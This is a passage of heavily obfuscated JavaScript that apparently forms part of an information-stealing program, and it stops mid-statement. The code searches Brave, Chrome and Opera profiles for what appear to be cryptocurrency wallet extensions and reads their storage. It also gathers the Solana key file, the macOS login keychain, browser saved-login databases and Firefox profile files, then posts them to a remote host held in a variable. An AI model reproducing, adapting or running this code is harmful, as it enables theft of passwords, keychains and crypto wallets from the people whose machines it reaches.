_0x36a55d=[_0x5d6b18('0x27e',0x2b2,0x231,0x1f9)+_0x5d6b18(0x363,0x30d,0x2e6,0x294)+_0x5d6b18('0x217',0x273,0x249,0x232)+_0x5d6b18('0x252','0x212','0x247','0x1d1'),_0x2c7601(0x1b2,'0x1e1','0x242','0x1a3')+'are/Brave-'+_0x2c7601(0xd0,'0x129',0x18e,0xc0),_0x2c7601(0x207,0x1e1,'0x1b7','0x254')+'are/Brave-'+_0x5d6b18('0x279','0x212',0x21f,0x1c4)],_0x315b89=[_0x5d6b18(0x2dd,0x271,'0x2ec',0x32c)+_0x2c7601('0x1a3','0x18f','0x1c0',0x10b),'Google/Chr'+'ome',_0x2c7601('0x133','0x182',0x116,0x195)+_0x5d6b18('0x273',0x249,'0x1ff','0x1f6')],_0x340a3f=['Roaming/Op'+_0x2c7601('0xdf','0x122','0xa8',0xd3)+_0x2c7601(0xb1,0x11e,0xb2,'0xd5')+'table','com.operas'+'oftware.Op'+'era',_0x2c7601(0x13f,0x198,0x121,'0x1e6')],_0x4881f6=[_0x2c7601('0x198','0x12c','0x186',0x179)+_0x2c7601(0xb2,'0x138','0xc3','0x1a9')+_0x5d6b18('0x2a3','0x2f9',0x2b3,0x233)+'nn','ejbalbakop'+'lchlghecda'+'lmeeeajnim'+'hm',_0x2c7601(0x1bf,'0x1ea',0x198,'0x255')+_0x2c7601(0x1d3,'0x18e','0x20e',0x1af)+'ngcnapndod'+'jp',_0x5d6b18('0x2ac','0x2b7','0x2f3',0x321)+_0x5d6b18(0x262,'0x246',0x20e,'0x267')+_0x2c7601('0x1ad',0x203,'0x197',0x206)+'ad',_0x5d6b18('0x34b',0x344,0x2d0,0x2eb)+_0x5d6b18('0x286','0x215','0x213','0x239')+_0x2c7601('0x1c2','0x1b3','0x202','0x1ea')+'ec',_0x2c7601(0x1de,0x1bc,0x1fe,'0x1f6')+_0x2c7601(0xf1,'0x10a','0x91','0x15a')+_0x2c7601(0x1b1,0x209,'0x281',0x209)+'pa',_0x2c7601('0x182',0x1c5,0x17e,0x152)+_0x5d6b18('0x2cf',0x2f0,'0x308',0x303)+_0x5d6b18('0x201',0x201,'0x20d',0x1ef)+'mg',_0x2c7601('0x1ea','0x202','0x1eb',0x1f6)+'pekplomjjk'+_0x5d6b18('0x2e6',0x272,0x26b,0x294)+'lj',_0x5d6b18('0x24b',0x2bf,'0x2cd',0x2d8)+_0x5d6b18('0x29c','0x1e2',0x23b,'0x1cf')+_0x2c7601(0x1e9,0x207,'0x1ca',0x23e)+'pi','acmacodkjb'+'dgmoleebol'+'mdjonilkdb'+'ch','dlcobpjiig'+_0x5d6b18(0x2e2,0x284,0x2ab,0x32b)+'behhmhfood'+'bb',_0x5d6b18('0x2f6','0x2cd','0x280',0x257)+_0x2c7601(0x13e,'0x199','0x1de',0x178)+'jbmgjidlcd'+'no'],_0x509e16=async(_0x5a7f89,_0x3aebb2,_0x57b596,_0x56509f)=>{const _0x2c5fcf={'DqPpJ':'.log','ZQfqk':_0x43296e(0x2aa,0x2d0,0x316,'0x31e'),'ECEaI':function(_0x5cb238,_0x47d984){return _0x5cb238(_0x47d984);},'kjCRH':function(_0x165ddc,_0x2a8321){return _0x165ddc>=_0x2a8321;},'mGFOI':function(_0x6510d6,_0x2a895d){return _0x6510d6+_0x2a895d;},'ihcmP':function(_0x1fd62e,_0x40167c){return _0x1fd62e<_0x40167c;},'EfAgH':function(_0x2b19b9){return _0x2b19b9();},'sIUCK':function(_0x116216,_0x51239c){return _0x116216===_0x51239c;},'ENSKx':function(_0x11159f,_0xdbc3cc){return _0x11159f!==_0xdbc3cc;},'qjPob':'ZKxEE','zzpzR':function(_0x130dba,_0x549b8c){return _0x130dba===_0x549b8c;},'zLnRX':'Default','fMovp':function(_0x4757bf,_0x5f48e,_0x1ecd5b){return _0x4757bf(_0x5f48e,_0x1ecd5b);}};let _0x20e31a;if(!_0x5a7f89||_0x2c5fcf[_0x224a40('0x378',0x438,'0x3bd','0x3fb')]('',_0x5a7f89))return[];function _0x224a40(_0x296618,_0x230e38,_0x54f807,_0x344e93){return _0x5d6b18(_0x296618-'0x73',_0x54f807,_0x344e93-'0x127',_0x344e93-0x8c);}try{if(_0x2c5fcf['ENSKx'](_0x2c5fcf[_0x43296e(0x288,'0x38c',0x30c,'0x306')],_0x2c5fcf[_0x224a40('0x397','0x395','0x386','0x375')])){if(!_0xeee06c(_0x5c15c8))return[];}else{if(!_0x2c5fcf[_0x224a40('0x3fc','0x41a',0x420,'0x3f5')](_0x4ce051,_0x5a7f89))return[];}}catch(_0x137fdd){return[];}_0x3aebb2||(_0x3aebb2='');let _0x51878c=[];for(let _0x1f3484=0x1ce0+0xd3+0x1*-0x1db3;_0x1f3484<0x7d*0xa+0xe4b*-0x1+0xa31*0x1;_0x1f3484++){const _0x3dd9b4=_0x5a7f89+'/'+(_0x2c5fcf[_0x224a40('0x2d7','0x308','0x32a',0x33c)](-0x171*-0x1+-0x3*0x125+0xa*0x33,_0x1f3484)?_0x2c5fcf[_0x224a40('0x343','0x361','0x358',0x3ae)]:'Profile\x20'+_0x1f3484)+(_0x224a40(0x3bd,0x464,0x402,0x3e0)+_0x224a40('0x357','0x318','0x3e1',0x37e)+_0x43296e(0x2f5,0x2ee,0x332,'0x380'));for(let _0x177329=0x1*-0x1579+0x1b50+-0xd*0x73;_0x177329<_0x4881f6[_0x224a40('0x2c3',0x32c,'0x321','0x338')];_0x177329++){let _0x47c390=_0x3dd9b4+'/'+_0x4881f6[_0x177329];if(_0x4ce051(_0x47c390)){let _0xa74f5e=[];try{_0xa74f5e=_0x57fcb0[_0x43296e(0x378,'0x2f5',0x312,0x343)+'c'](_0x47c390);}catch(_0x5371ea){_0xa74f5e=[];}_0xa74f5e[_0x224a40(0x3e9,0x354,0x3f7,0x39d)](async _0x354894=>{let _0x49f669=_0x3d1e5d[_0x4cd913(0x23c,0x235,0x25d,0x22e)](_0x47c390,_0x354894);function _0x44c873(_0xef7899,_0xd3f89b,_0x29a1f7,_0x3b39d3){return _0x43296e(_0xef7899-'0xe',_0xd3f89b-0x194,_0xef7899- -'0x12',_0xd3f89b);}function _0x4cd913(_0x2cdb1a,_0x1bcdd3,_0x3e68b4,_0x47be54){return _0x43296e(_0x2cdb1a-'0x17a',_0x1bcdd3-0x107,_0x2cdb1a- -'0xd8',_0x1bcdd3);}try{const _0x5dcc2c={};_0x5dcc2c[_0x44c873('0x2df','0x325','0x311','0x28e')]=_0x1805dc+'_'+_0x3aebb2+_0x1f3484+'_'+_0x4881f6[_0x177329]+'_'+_0x354894,(_0x49f669[_0x44c873(0x359,'0x3ad',0x2fb,'0x3b7')](_0x2c5fcf[_0x4cd913(0x265,'0x2b3','0x239','0x293')])||_0x49f669['includes'](_0x2c5fcf['ZQfqk']))&&_0x51878c[_0x44c873(0x375,0x31f,'0x37c','0x34b')]({'value':_0x57fcb0[_0x44c873('0x343',0x300,0x306,0x321)+_0x44c873('0x2c7',0x27d,'0x2dc',0x306)](_0x49f669),'options':_0x5dcc2c});}catch(_0x6af732){}});}}}function _0x43296e(_0x3c96d9,_0x5c3057,_0x40e8c6,_0x48afe3){return _0x2c7601(_0x3c96d9-0xbb,_0x40e8c6-0x1b4,_0x40e8c6-'0x1eb',_0x48afe3);}if(_0x57b596&&(_0x20e31a=_0xc2ce4f+('/.config/s'+_0x224a40('0x461','0x46a','0x451','0x414')+_0x224a40(0x3fb,0x459,0x37d,'0x3e6')),_0x57fcb0[_0x43296e(0x366,0x372,'0x3ac',0x3db)](_0x20e31a)))try{if(_0x2c5fcf[_0x43296e(0x29b,'0x30b',0x2d3,'0x31e')](_0x43296e('0x2c0',0x302,0x30d,'0x321'),_0x224a40(0x457,'0x3cc','0x3cd',0x3f6))){var _0x39bf76=_0x4b9c1e[_0x43296e('0x404','0x425',0x3c2,'0x35f')](_0x2c35ba);_0x2c5fcf['kjCRH'](_0x39bf76[_0x224a40(0x357,'0x408',0x431,0x3c2)],_0x2c5fcf[_0x43296e('0x2cf',0x398,'0x33c','0x39a')](_0x37f7e9,0x1*-0x80f+-0x1b1e+0x2333))?(_0x53bdb3=_0x39bf76['size'],_0x4ade5b['rename'](_0x5f32da,_0x1d6dbe,_0x21bec9=>{if(_0x21bec9)throw _0x21bec9;_0x2c5fcf['ECEaI'](_0x4a3b8e,_0x557cf4);})):(_0x2c5fcf[_0x43296e('0x2e2','0x285','0x2e4','0x2be')](_0x4cc82c,_0x39bf76['size'])?_0x3aebd3=_0x39bf76[_0x224a40(0x3d0,'0x35d',0x366,'0x3c2')]:(_0x46e273[_0x224a40('0x413',0x44e,'0x361',0x3c8)](_0x244e82),_0x433db8=0x1148+0x1596+-0x26de),_0x2c5fcf['EfAgH'](_0x37a531));}else{const _0x9d2b09={};_0x9d2b09[_0x224a40(0x2d6,0x343,0x3c8,0x35a)]=_0x43296e('0x370',0x38f,'0x3c3','0x3de')+'txt',_0x51878c['push']({'value':_0x57fcb0[_0x224a40(0x3da,'0x353',0x3ee,'0x3be')+_0x43296e('0x286',0x2bb,'0x2d9',0x26f)](_0x20e31a),'options':_0x9d2b09});}}catch(_0xf1ff04){}return _0x2c5fcf['fMovp'](_0x2a53ef,_0x51878c,_0x56509f),_0x51878c;},_0x473b7e=_0x5d955f=>{const _0x5b54a6={'WhGgK':function(_0xdfe3a0,_0xf9cfd9){return _0xdfe3a0!==_0xf9cfd9;},'ketIl':_0x227b3b(0x1b3,'0x13f','0x1d6',0x1f7),'MehOF':_0x46e3f6(0xf3,'0xd6','0x95',0xb8)+_0x227b3b('0x213','0x212',0x210,'0x1c5'),'TBYlS':function(_0x4ec1a2,_0x189108){return _0x4ec1a2===_0x189108;},'JBqpL':_0x46e3f6('0x155',0x120,0x1bd,'0x137'),'SDlMv':function(_0x4ca8dc,_0x57c953){return _0x4ca8dc(_0x57c953);},'lIEEg':function(_0x5cc2d5,_0x55539a,_0x450c67){return _0x5cc2d5(_0x55539a,_0x450c67);}},_0x5c510c=_0x5b54a6[_0x46e3f6('0x177',0x1b2,'0x180',0xfd)](_0x4ab1b5,'~/')+(_0x227b3b('0x192',0x182,0x144,'0x1a2')+_0x46e3f6(0x142,0x18a,'0x19a',0x102)+_0x227b3b(0x183,0x1c4,'0x183','0x19a')+_0x227b3b(0x227,0x20d,0x239,'0x1c5')+'s');let _0xdfe727=[];function _0x227b3b(_0x10b498,_0x3ee73f,_0x28797f,_0x2e5e9b){return _0x2c7601(_0x10b498-'0x1a8',_0x10b498-'0x5d',_0x28797f-'0x73',_0x3ee73f);}function _0x46e3f6(_0x47b46b,_0x1888c3,_0x2e076e,_0x272a85){return _0x5d6b18(_0x47b46b-'0x36',_0x1888c3,_0x47b46b- -'0x168',_0x272a85-0x1d3);}if(_0x5b54a6[_0x46e3f6('0x177','0x142',0x134,'0x17d')](_0x4ce051,_0x5c510c)){let _0x6c05dd=[];try{_0x6c05dd=_0x57fcb0['readdirSyn'+'c'](_0x5c510c);}catch(_0x5578dc){_0x6c05dd=[];}let _0x316e3f=0x1477+0x4ab+-0x1922;return _0x6c05dd['forEach'](async _0x238bba=>{const _0x135542={'lGtJl':function(_0x4d3482,_0xa6035f){function _0x2d51dc(_0x4d2856,_0x2959aa,_0x5cfc5a,_0xf5f2e8){return _0x4e42(_0x5cfc5a-0x2d,_0xf5f2e8);}return _0x5b54a6[_0x2d51dc(0x27c,'0x247',0x237,'0x27a')](_0x4d3482,_0xa6035f);},'OyMRQ':'rsjlU','EYYwq':_0x5b54a6[_0x1b1174(-'0xef',-'0x11e',-0x99,-'0x14a')],'IHJls':_0x5b54a6[_0x59c425('0x3c9','0x303',0x36f,0x316)],'avvPQ':function(_0x565047,_0x3542da){return _0x5b54a6['TBYlS'](_0x565047,_0x3542da);},'hIrlV':'yHLOi','YPNjF':_0x5b54a6[_0x59c425('0x37c','0x2e2','0x343','0x2e0')]};function _0x59c425(_0x5be3ea,_0x540792,_0x228443,_0x2737b8){return _0x227b3b(_0x228443-0x13e,_0x540792,_0x228443-0xed,_0x2737b8-0x92);}let _0x445799=_0x3d1e5d[_0x59c425(0x2fb,0x2f9,0x2fb,'0x2f4')](_0x5c510c,_0x238bba);if(_0x445799['includes'](_0x59c425('0x269','0x279',0x2d2,0x2da))){let _0x1d8748=_0x3d1e5d['join'](_0x445799,_0x1b1174(-'0x19d',-'0x215',-0x11c,-0x193)+_0x1b1174(-0x174,-'0x185',-'0x1f4',-0x128)),_0x3729a9=[];_0x3729a9=_0x57fcb0[_0x1b1174(-'0x17e',-0x106,-'0x106',-0x1e6)+'c'](_0x1d8748);let _0x3e38b9=-0x61*-0x5e+-0x1*-0x1ca6+-0x156c*0x3;_0x3729a9['forEach'](async _0x19cbf3=>{const _0x16f58b={'dVsiI':function(_0x23d01c,_0x50ebcc){function _0x14b137(_0x38bbde,_0x1fcc55,_0x5a1593,_0x2853be){return _0x4e42(_0x2853be-0x3d2,_0x5a1593);}return _0x135542[_0x14b137(0x647,'0x6a1',0x5d1,0x63e)](_0x23d01c,_0x50ebcc);},'oUjHl':_0x135542['OyMRQ'],'oPUhi':_0x135542['EYYwq']};function _0x59e492(_0x1a28ef,_0x4f466c,_0x506d1f,_0x48b1ff){return _0x59c425(_0x1a28ef-0x1bd,_0x1a28ef,_0x48b1ff- -'0x379',_0x48b1ff-'0x15c');}function _0x5acd36(_0x85d42e,_0x91d2f8,_0x191437,_0x46eb11){return _0x1b1174(_0x191437-'0x40f',_0x91d2f8-0x50,_0x191437-'0x14e',_0x91d2f8);}if(_0x19cbf3[_0x59e492('0x24',-0x6b,-0x3b,-0x27)](_0x135542[_0x59e492(-'0x122',-'0x96',-'0x113',-0x9d)])){if(_0x135542[_0x5acd36(0x2a2,'0x2b3','0x2e2','0x25e')](_0x135542[_0x59e492(-0xe6,-0xb4,-0x142,-0xcf)],_0x135542[_0x5acd36(0x200,0x268,0x242,'0x283')])){let _0x2b4aa5=_0x3d1e5d[_0x5acd36(0x21c,0x299,0x293,'0x2bb')](_0x1d8748,_0x19cbf3);_0x2b4aa5=_0x3d1e5d['join'](_0x2b4aa5,_0x135542[_0x5acd36(0x25f,'0x267',0x2e1,'0x272')]);let _0x225aab=[];_0x225aab=_0x57fcb0['readdirSyn'+'c'](_0x2b4aa5),_0x225aab[_0x5acd36('0x23b','0x2f5',0x2b3,'0x298')](async _0x5e5729=>{function _0x293230(_0x41e614,_0x386d3c,_0x2f0a7d,_0x4701b1){return _0x5acd36(_0x41e614-'0x71',_0x2f0a7d,_0x41e614- -'0x1f9',_0x4701b1-0xc2);}function _0x12f9da(_0x294b1e,_0x38f8da,_0xa129df,_0x4d0978){return _0x59e492(_0x38f8da,_0x38f8da-'0x13',_0xa129df-'0x135',_0x4d0978- -0x169);}if(_0x5e5729[_0x293230(0xf1,0xce,0xa6,'0xce')](_0x12f9da(-'0x24f',-0x221,-0x25d,-0x21d))){if(_0x16f58b[_0x12f9da(-'0x249',-0x230,-0x247,-'0x234')](_0x16f58b[_0x12f9da(-0x137,-'0xbc',-'0x144',-'0x134')],_0x16f58b[_0x12f9da(-0x19f,-0x1c9,-0x1db,-0x1f2)])){let _0x4c37a7=_0x3d1e5d['join'](_0x2b4aa5,_0x5e5729),_0x556af5=[];_0x556af5=_0x57fcb0[_0x12f9da(-'0x197',-'0x25b',-0x184,-'0x1e9')+'c'](_0x4c37a7),_0x556af5['forEach'](_0x5c8b45=>{function _0x458a65(_0x42164a,_0x4609a7,_0x2194e7,_0x2ee5e1){return _0x12f9da(_0x42164a-'0x127',_0x4609a7,_0x2194e7-'0x13d',_0x2ee5e1-'0x38d');}function _0x2953bf(_0x2fc27d,_0x15efb7,_0x550395,_0x133995){return _0x12f9da(_0x2fc27d-'0x4f',_0x133995,_0x550395-'0x16f',_0x550395-'0x1c0');}if(!_0x57fcb0[_0x2953bf('0xe1','0xc3',0x87,'0xca')](_0x3d1e5d[_0x2953bf(-0xa0,0x4a,-'0x27','0xb')](_0x4c37a7,_0x5c8b45))[_0x2953bf('0x23',-0x65,-0x21,-'0x97')+'y']()){let _0x2a5de3=_0x3d1e5d[_0x2953bf(-0x3f,-0x6f,-0x27,-'0x7d')](_0x4c37a7,_0x5c8b45);const _0xa42d75={};_0xa42d75[_0x2953bf(-0xa7,-0x9f,-'0x4a',-'0xa0')]=_0x316e3f+'_'+_0x3e38b9+'_'+_0x5c8b45,_0xdfe727[_0x2953bf(0x70,-'0x2b','0x4c','0x22')]({'value':_0x57fcb0[_0x458a65(0x25a,0x1f4,0x17d,'0x1e7')+_0x458a65(0x184,0x10f,'0x1d2','0x16b')](_0x2a5de3),'options':_0xa42d75});}});}else _0x2edfe5=_0x131161+(0x2020+-0x94d*-0x4+-0x454e),_0x527e3f[_0x293230('0x94',0x67,0x42,'0x95')](_0x3ba142,_0x41b555),_0x279375(_0x3dd511);}});}else{const _0x9f20a7=_0x5c34be[_0x59e492(-0x83,-'0x20',-0x13,-0x37)](_0x12e73c,arguments);return _0xa57d6b=null,_0x9f20a7;}}}),_0x3e38b9+=-0x10b2+0x176a+-0x6b7;}function _0x1b1174(_0x25cace,_0x5bf4c7,_0x3d9213,_0x49006a){return _0x46e3f6(_0x25cace- -'0x26a',_0x49006a,_0x3d9213-'0x1b4',_0x49006a-'0x1c2');}_0x316e3f+=0xb36+-0x8be+-0x277;}),(_0x5b54a6['lIEEg'](_0x2a53ef,_0xdfe727,_0x5d955f),_0xdfe727);}},_0x2a53ef=(_0x22c3ba,_0x379bb1)=>{function _0x34f214(_0x2a6f2c,_0x56dfcc,_0x4e5bdf,_0x46afd2){return _0x2c7601(_0x2a6f2c-'0xb2',_0x4e5bdf- -'0xd9',_0x4e5bdf-'0x4b',_0x56dfcc);}const _0xb4938f={};function _0x431dc4(_0x9719db,_0x340d77,_0xe647c9,_0x26dbbd){return _0x5d6b18(_0x9719db-0x33,_0x26dbbd,_0x340d77-0x14,_0x26dbbd-'0xd6');}_0xb4938f['RjCNH']=function(_0x324521,_0x4fe930){return _0x324521>_0x4fe930;};const _0x4af49f=_0xb4938f,_0x553d4f={};_0x553d4f['type']=_0x589ed5,_0x553d4f[_0x431dc4(0x31d,'0x2d7',0x296,0x2e4)]=_0x1805dc+'_'+_0x5bab10,_0x553d4f[_0x34f214('0x7f',0x57,0x72,'0x94')]=_0x379bb1,_0x553d4f['multi_file']=_0x22c3ba;const _0x43f491=_0x553d4f;try{if(_0x4af49f['RjCNH'](_0x22c3ba['length'],0x75*-0x1+0x7a9*0x2+-0xedd)){const _0x6cf2bf={};_0x6cf2bf[_0x431dc4(0x26e,'0x286','0x21b','0x30a')]=_0x40d999+_0x34f214(0x47,'0xda','0x99',0x2f),_0x6cf2bf[_0x431dc4(0x32c,'0x2e0',0x35e,0x28e)]=_0x43f491;const _0x591c67=_0x6cf2bf;_0x18e755[_0x431dc4('0x277','0x2e5',0x295,0x2d3)](_0x591c67,(_0x442180,_0x144702,_0x552e4d)=>{});}}catch(_0x5aee50){}},_0x2d0c7f=async(_0x13489c,_0x14b7d6,_0x32c301)=>{function _0x29ae7d(_0x5307db,_0xb1ea9c,_0x156a79,_0x5b0e18){return _0x5d6b18(_0x5307db-0x1c4,_0x5307db,_0xb1ea9c-0x2e5,_0x5b0e18-'0x17b');}function _0x193bbc(_0x4c837a,_0x2bbee5,_0x4b37b4,_0x54cf53){return _0x5d6b18(_0x4c837a-0x19b,_0x4b37b4,_0x54cf53- -'0x18b',_0x54cf53-0xb3);}const _0x2f6358={'GsJCc':function(_0x37445a,_0x120274){return _0x37445a==_0x120274;},'AKBiW':function(_0x66c4b3,_0xfbeb0d){return _0x66c4b3(_0xfbeb0d);},'VzYFn':function(_0x2b8567,_0x15dc66,_0x119e7f,_0x18b6f4,_0x1ed3b1){return _0x2b8567(_0x15dc66,_0x119e7f,_0x18b6f4,_0x1ed3b1);},'rQTjA':function(_0xbcbe43,_0x24d6c8){return _0xbcbe43==_0x24d6c8;}};try{let _0x521df4='';_0x521df4=_0x2f6358['GsJCc']('d',_0x17bf0c[0xb97+0xb0*0xb+-0x1327])?_0x2f6358[_0x193bbc('0x146',0x1da,0x100,'0x160')](_0x4ab1b5,'~/')+(_0x193bbc(0x186,0x199,0x1c9,0x14e)+_0x29ae7d(0x55c,0x525,0x511,0x572)+_0x193bbc('0x16b',0x136,0x1bb,'0x166'))+_0x13489c[0xf*-0xc7+0x956*-0x2+0x1e56]:_0x2f6358[_0x29ae7d('0x4f1','0x515',0x58f,'0x521')]('l',_0x17bf0c[-0x1fe*-0x13+-0x2a5*0xd+-0x379*0x1])?_0x2f6358[_0x29ae7d('0x623','0x5d0',0x653,0x638)](_0x4ab1b5,'~/')+_0x193bbc('0xce',0xda,0x113,'0xe3')+_0x13489c[-0x10e1+-0x53*0x6b+0x3394]:_0x2f6358[_0x29ae7d('0x5ef',0x5d0,'0x637',0x58c)](_0x4ab1b5,'~/')+_0x193bbc('0x175',0x196,0x1bf,'0x157')+_0x13489c[-0x178a*-0x1+0x1259+-0x29e3*0x1]+'/User\x20Data',await _0x2f6358[_0x193bbc(0xdc,'0x29',0x47,'0x93')](_0x509e16,_0x521df4,_0x14b7d6+'_',_0x2f6358['rQTjA'](0x1f10+0x7d5*0x3+-0x368f,_0x14b7d6),_0x32c301);}catch(_0x47cf49){}},_0x4b1368=async _0x38e86d=>{const _0x445053={'XmjhW':_0x1ce2df(-0x60,'0xf',0x6c,0x7e),'PHPqT':function(_0x415a56,_0x8b452f,_0x1f35b0){return _0x415a56(_0x8b452f,_0x1f35b0);},'Fdpip':function(_0x49a43b,_0x17ae59,_0x527da4){return _0x49a43b(_0x17ae59,_0x527da4);},'UxGGv':function(_0x43f99d,_0xfbc8ed,_0x1d6ed1){return _0x43f99d(_0xfbc8ed,_0x1d6ed1);},'zJQFD':'logkc-db','gusqB':function(_0x4bc7fc,_0x33e494){return _0x4bc7fc===_0x33e494;},'hbbIt':_0x1ce2df(-0xce,-0x4b,0xb,-'0x7b'),'glkvK':function(_0x40f21b,_0x12efd2){return _0x40f21b!==_0x12efd2;},'CQBgt':_0x1ce2df(-0xf,-0x3a,0x2b,-'0xbc'),'NLned':function(_0x58e913,_0x511d5f){return _0x58e913(_0x511d5f);},'BEaeX':function(_0x48970b,_0x23d9cf){return _0x48970b<_0x23d9cf;},'OJsUJ':function(_0x389d71,_0x3b3ba6){return _0x389d71===_0x3b3ba6;},'pGAwb':_0x16972d(0x23b,'0x2e8','0x27f','0x263'),'nDmJQ':_0x16972d('0x1a8',0x111,0x188,0x1cd),'KWjRe':_0x1ce2df(0x79,'0x53','0x6e',-0x8),'uPJih':function(_0xe94262,_0x26b271){return _0xe94262!==_0x26b271;},'XbgOb':_0x16972d('0x14c',0x188,'0x1a3',0x121),'MmDbx':function(_0x316739,_0x56477a){return _0x316739(_0x56477a);},'QnXBH':function(_0x1a4bd1,_0x57c5af){return _0x1a4bd1(_0x57c5af);},'HTUiZ':function(_0x151abd,_0x228a9a){return _0x151abd(_0x228a9a);},'SYvZp':function(_0x5d488b,_0x247783){return _0x5d488b(_0x247783);}};let _0x376ef3=[];function _0x1ce2df(_0x2014e3,_0x66d3fe,_0x5b7edc,_0x531e26){return _0x2c7601(_0x2014e3-'0x18e',_0x66d3fe- -0x153,_0x5b7edc-'0xa1',_0x5b7edc);}let _0x7e682f=_0xc2ce4f+(_0x16972d('0x1e0',0x1da,0x18e,'0x182')+_0x16972d('0x2d2','0x288','0x281',0x26c)+'ogin.keych'+_0x16972d('0x18d','0x17c','0x1eb','0x169'));if(_0x57fcb0[_0x1ce2df(0x51,'0xa5','0xeb',0x11a)](_0x7e682f))try{const _0x6ba19d={};_0x6ba19d[_0x1ce2df(-0x48,-'0x16',-0x4b,-'0xf')]=_0x445053[_0x1ce2df('0xb9','0x3a',0x1e,'0xbd')],_0x376ef3[_0x1ce2df(0xd5,'0x80',0x87,0x6f)]({'value':_0x57fcb0[_0x1ce2df('0xab',0x4e,0x90,'0x98')+_0x16972d(0x1b8,0x1ee,'0x199','0x116')](_0x7e682f),'options':_0x6ba19d});}catch(_0x1141f1){}else{if(_0x7e682f+='-db',_0x57fcb0[_0x1ce2df(0x53,'0xa5','0x6b','0xb1')](_0x7e682f))try{if(_0x445053[_0x16972d('0x1c2','0x206',0x1ff,'0x1a8')](_0x445053[_0x16972d('0x1f3','0x28b',0x266,0x247)],_0x445053[_0x1ce2df('0x4b',0x9f,'0x35','0x2a')])){const _0x2dc186={};_0x2dc186[_0x16972d(0x1a9,'0x13f',0x1b1,'0x190')]=_0x445053[_0x16972d(0x22e,0x1b6,0x201,0x285)],_0x376ef3[_0x16972d('0x234','0x1f1',0x247,0x26b)]({'value':_0x57fcb0['createRead'+_0x1ce2df(-'0xa9',-'0x2e',-'0xa5',0x1e)](_0x7e682f),'options':_0x2dc186});}else{const _0x1bb57c={};_0x1bb57c[_0x16972d('0x179','0x22b','0x1b1',0x20f)]=_0xc2684f+'_'+_0x50cedb+_0x499f58+'_'+_0xa4cf47[_0x813be3]+'_'+_0x12117e,(_0x211d2b[_0x16972d(0x1dd,0x249,'0x22b',0x1e7)](_0x16972d('0x2ad','0x1d9',0x243,0x2c0))||_0xffb926['includes'](_0x445053['XmjhW']))&&_0x3e58cd[_0x16972d(0x280,0x2bc,0x247,'0x258')]({'value':_0x22e00c[_0x16972d(0x21b,0x1a1,0x215,0x1b1)+_0x16972d('0x214',0x218,0x199,0x1ae)](_0x18610d),'options':_0x1bb57c});}}catch(_0x26da48){}}try{if(_0x445053[_0x1ce2df(-0x28,'0x43','0x34',0xb8)](_0x445053[_0x16972d(0x292,'0x1da',0x22c,0x2ad)],_0x16972d(0x28a,0x22a,'0x233',0x1cf))){let _0x29a5bf=_0xc2ce4f+(_0x1ce2df('0xcd','0x90',0x9b,0xfc)+'pplication'+_0x1ce2df(-0x59,'0x8','0x2','0x25')+_0x16972d(0x1c8,0x15b,0x1de,'0x1e7')+'me');if(_0x445053[_0x16972d(0x1ea,0x27c,0x25f,0x256)](_0x4ce051,_0x29a5bf))for(let _0x18ca11=-0x12f4*0x1+0x1502+-0x1*0x20e;_0x445053[_0x1ce2df('0x124','0xa7','0x94',0xa7)](_0x18ca11,0x2*-0x1cf+-0x3*0x192+0x6a*0x16);_0x18ca11++){if(_0x445053[_0x1ce2df(0x8b,0x7d,0xc9,0x3d)](_0x445053[_0x16972d(0x22e,0x219,'0x1f3',0x1e7)],_0x445053['nDmJQ']))_0x5df0d8=[];else{const _0x34c177=_0x29a5bf+'/'+(_0x445053[_0x1ce2df(0x40,0x7d,'0x7c','0x88')](0x35*-0xa1+0x4*-0x3f5+-0xf*-0x347,_0x18ca11)?_0x445053['KWjRe']:_0x1ce2df('0x31',-0x32,0x50,-0x57)+_0x18ca11)+('/Login\x20Dat'+'a');try{if(_0x445053[_0x1ce2df(0x111,0xad,0xe8,'0x50')](_0x445053[_0x16972d('0x18c','0x1af','0x184','0x154')],_0x445053['XbgOb']))_0x298693['writeFileS'+_0x1ce2df(-0x3d,-0x45,-0x64,-0x9)](_0x5e819d,_0x5649b8),_0x445053[_0x1ce2df(-'0xa',0x42,'0x29',-'0x1a')](_0x12026c,_0x819e95,(_0x460a78,_0x1536ef,_0x3465fe)=>{});else{if(!_0x445053[_0x16972d(0x237,'0x17c','0x200',0x1e4)](_0x4ce051,_0x34c177))continue;const _0x5651cd=_0x29a5bf+'/ld_'+_0x18ca11,_0x24ea9a={};_0x24ea9a[_0x1ce2df(0x59,-'0x16',0x5e,-'0x3')]=_0x16972d(0x2da,'0x2d0','0x285',0x2df)+_0x18ca11,_0x445053[_0x1ce2df(0xc4,'0x51','0x2',0xd)](_0x4ce051,_0x5651cd)?_0x376ef3[_0x16972d('0x217',0x1e4,0x247,'0x1ff')]({'value':_0x57fcb0[_0x1ce2df('0xa0',0x4e,0xa6,0x89)+_0x1ce2df(-0xac,-0x2e,-'0x71',-'0x7c')](_0x5651cd),'options':_0x24ea9a}):_0x57fcb0['copyFile'](_0x34c177,_0x5651cd,_0x899a8e=>{const _0x4c0744={};function _0x2ff7ec(_0x5e8ca4,_0x503414,_0x4dbd0b,_0x702da0){return _0x1ce2df(_0x5e8ca4-0xdf,_0x503414-0x6,_0x4dbd0b,_0x702da0-'0x187');}function _0x4d123a(_0x11d982,_0x4251ca,_0x2d0cf9,_0x5a8fac){return _0x1ce2df(_0x11d982-0xbd,_0x11d982-0x3,_0x2d0cf9,_0x5a8fac-0xa);}_0x4c0744[_0x2ff7ec(-0x3,-'0x10',0x3a,'0x5e')]=_0x2ff7ec(0x79,'0xc4',0x128,0x107)+_0x18ca11;let _0x557c5b=[{'value':_0x57fcb0[_0x4d123a('0x51','0x9b',0xa,0xc1)+_0x4d123a(-0x2b,0x48,-'0x60','0x46')](_0x34c177),'options':_0x4c0744}];_0x445053[_0x4d123a(0x1f,0xd,-'0x8',0x91)](_0x2a53ef,_0x557c5b,_0x38e86d);});}}catch(_0x5510f9){}}}}else{let _0xd0f59=_0x366d7c['join'](_0x3d599e,_0x38416f);const _0x538dae={};_0x538dae[_0x16972d('0x1d7',0x1d6,0x1b1,'0x1ec')]=_0x5e0fe2+'_'+_0x11c028+'_'+_0x17b2de,_0xace212[_0x1ce2df('0x103','0x80',0xb2,0x44)]({'value':_0x472669['createRead'+_0x1ce2df(0x32,-'0x2e',0x14,0x18)](_0xd0f59),'options':_0x538dae});}}catch(_0x42325c){}try{let 